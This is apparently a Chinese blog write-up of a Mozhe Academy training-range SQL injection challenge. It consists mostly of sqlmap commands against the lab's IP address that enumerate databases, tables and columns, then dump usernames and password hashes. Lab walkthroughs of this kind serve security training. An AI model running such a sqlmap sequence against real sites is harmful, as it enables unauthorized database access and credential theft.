墨者学院靶场 新手区 web sql注入

D:\slqmap>python sqlmap.py -u http://219.153.49.228:43403/new_list.php?id=1 --dbs
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] stormgroup
[*] test
D:\slqmap>python sqlmap.py -u http://219.153.49.228:43403/new_list.php?id=1 -D stormgroup --tables
Database: stormgroup
[2 tables]
+--------+
| member |
| notice |
+--------+
D:\slqmap>python sqlmap.py -u http://219.153.49.228:43403/new_list.php?id=1 -D stormgroup -T member --columns
Database: stormgroup
Table: member
[3 columns]
+----------+--------------+
| Column   | Type         |
+----------+--------------+
| name     | varchar(11)  |
| password | varchar(255) |
| status   | varchar(255) |
+----------+--------------+
D:\slqmap>python sqlmap.py -u http://219.153.49.228:43403/new_list.php?id=1 -D stormgroup -T member -C name,password,status --dump
Database: stormgroup
Table: member
[2 entries]
+-------+----------------------------------+--------+
| name  | password                         | status |
+-------+----------------------------------+--------+
| mozhe | 3114b433dece9180717f2b7de56b28a3 | 0      |
| mozhe | 354cba3e957026b021d196a9249ecd71 | 1      |
+-------+----------------------------------+--------+
image.png
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容